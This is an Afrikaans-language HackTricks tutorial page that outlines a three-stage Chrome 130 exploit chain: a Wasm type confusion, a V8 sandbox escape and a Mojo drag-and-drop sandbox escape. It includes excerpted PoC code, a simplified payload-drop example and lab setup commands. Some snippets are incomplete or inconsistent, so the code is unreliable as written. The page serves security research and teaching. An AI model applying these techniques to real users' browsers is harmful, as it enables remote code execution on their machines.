Chrome Exploiting
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Hierdie bladsy bied ’n hoëvlak maar praktiese oorsig van ’n moderne “full-chain” exploitation workflow teen Google Chrome 130 gebaseer op die navorsingsreeks “101 Chrome Exploitation” (Part-0 — Preface). Die doel is om pentesters en exploit-developers die minimum agtergrond te gee wat nodig is om die tegnieke vir hul eie navorsing te reproduseer of aan te pas.
1. Chrome-argitektuur oorsig
Om die attack surface te verstaan, is dit nodig om te weet waar code uitgevoer word en watter sandboxes van toepassing is.
Chrome proses & sandbox uitleg
```text +-------------------------------------------------------------------------+ | Chrome Browser | | | | +----------------------------+ +-----------------------------+ | | | Renderer Process | | Browser/main Process | | | | [No direct OS access] | | [OS access] | | | | +----------------------+ | | | | | | | V8 Sandbox | | | | | | | | [JavaScript / Wasm] | | | | | | | +----------------------+ | | | | | +----------------------------+ +-----------------------------+ | | | IPC/Mojo | | | V | | | +----------------------------+ | | | | GPU Process | | | | | [Restricted OS access] | | | | +----------------------------+ | | +-------------------------------------------------------------------------+ ```Gelaagde verdediging-in-diepte:
- V8 sandbox (Isolate): geheue-toestemmings is beperk om arbitrary read/write vanaf JITed JS / Wasm te verhoed.
- Renderer ↔ Browser split verseker deur Mojo/IPC message passing; die renderer het geen native FS/network access.
- OS sandboxes hou elke proses verder binne (Windows Integrity Levels /
seccomp-bpf/ macOS sandbox profiles).
’n remote aanvaller benodig dus drie opeenvolgende primitives:
- Geheuekorrupsie binne V8 om arbitrary RW inside the V8 heap te kry.
- ’n tweede fout wat die aanvaller toelaat om die V8 sandbox na volledige renderer-geheue te ontsnap.
- ’n finale sandbox-escape (dikwels logika eerder as geheuekorruptie) om kode buite die Chrome OS sandbox uit te voer.
2. Fase 1 – WebAssembly Type-Confusion (CVE-2025-0291)
’n fout in TurboFan se Turboshaft optimalisering klassifiseer WasmGC reference types verkeerd wanneer die waarde binne ’n single basic block loop geproduseer en verbruik word.
Effek:
- Die compiler sla die type-check oor, en behandel ’n reference (
externref/anyref) as ’n int64. - Geprepareerde Wasm laat toe dat ’n JS object header oorvleuel met deur die aanvaller beheerde data →
addrOf()&fakeObj()AAW / AAR primitives.
Minimale PoC (uittreksel):
(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit ;; exit condition keeps us single-block
br $loop
end
end)
(export "f" (func $f)))
Trigger optimalisering & spray objects vanaf JS:
const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;
for (let i = 0; i < 1e5; ++i) f({}); // warm-up for JIT
// primitives
let victim = {m: 13.37};
let fake = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);
Uitkoms: willekeurige lees/skryf binne V8.
3. Stage 2 – Ontsnap uit die V8 Sandbox (issue 379140430)
Wanneer ’n Wasm-funksie tier-up-compiled word, word ’n JS ↔ Wasm wrapper gegenereer. ’n signature-mismatch bug veroorsaak dat die wrapper verby die einde van ’n vertroude Tuple2-objek skryf wanneer die Wasm-funksie her-geoptimaliseer word terwyl dit nog op die stapel is.
Deur die 2 × 64-bit velde van die Tuple2-objek oor te skryf gee dit lees/skryf op enige adres binne die Renderer-proses, wat effektief die V8 sandbox omseil.
Belangrike stappe in exploit:
- Bring die funksie in die Tier-Up toestand deur turbofan/baseline-code af te wissel.
- Trigger tier-up terwyl ’n verwysing op die stapel gehou word (
Function.prototype.apply). - Gebruik Stage-1 AAR/AAW om die aangrensende
Tuple2te vind en te korrupteer.
Wrapper identification:
function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f); // force tier-up (internals-only flag)
wrapperGen(0x1337n);
Na die korrupsie het ons ’n volledig-funksionele renderer R/W primitive.
4. Fase 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)
Die Mojo IPC-koppelvlak blink.mojom.DragService.startDragging() kan vanaf die Renderer met gedeeltelik vertroude parameters aangeroep word. Deur ’n DragData-struktuur te konstrueer wat na ’n arbitrêre lêerpad wys, oortuig die renderer die browser om ’n native drag-and-drop buite die renderer sandbox uit te voer.
Deur dit te misbruik kan ons programmaties “drag” ’n kwaadwillige EXE (voorheen geplaas in ’n wêreldskryfbare ligging) na die Desktop, waar Windows sekere lêertipes outomaties uitvoer sodra dit neergesit word.
Voorbeeld (vereenvoudig):
const payloadPath = "C:\\Users\\Public\\explorer.exe";
chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});
Geen ekstra geheuekorrupsie is nodig – die logika-fout gee ons arbitrêre lêeruitvoering met die gebruiker se voorregte.
5. Volledige kettingvloei
- Gebruiker besoek kwaadwillige webblad.
- Fase 1: Wasm module misbruik CVE-2025-0291 → V8 heap AAR/AAW.
- Fase 2: Wrapper mismatch korrupteer
Tuple2→ ontsnap V8 sandbox. - Fase 3:
startDragging()IPC → ontsnap OS sandbox & voer payload uit.
Resultaat: Remote Code Execution (RCE) op die gasheer (Chrome 130, Windows/Linux/macOS).
6. Lab- & debugging-opstelling
# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1
# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
Nuttige flags wanneer ’n ontwikkelings build van Chrome gelanseer word:
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
7. Renderer → kernel-ontsnappingsbron
Wanneer ’n renderer-exploit ’n kernel-pivot benodig wat binne die seccomp-profile bly, bied die misbruik van AF_UNIX MSG_OOB sockets wat steeds binne die sandbox bereikbaar is ’n deterministiese pad. Kyk na die Linux kernel exploitation case-study hieronder vir die SKB UAF → kernel RCE chain:
Af Unix Msg Oob Uaf Skb Primitives
Belangrike punte
- WebAssembly JIT bugs bly ’n betroubare ingangspunt – die tipe-stelsel is nog jonk.
- Die verkryging van ’n tweede memory-corruption bug binne V8 (bv. wrapper mismatch) vereenvoudig grootliks V8-sandbox escape.
- Logikavlak swakhede in geprivilegieerde Mojo IPC interfaces is dikwels voldoende vir ’n final sandbox escape – hou ’n oog op non-memory bugs.
Verwysings
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


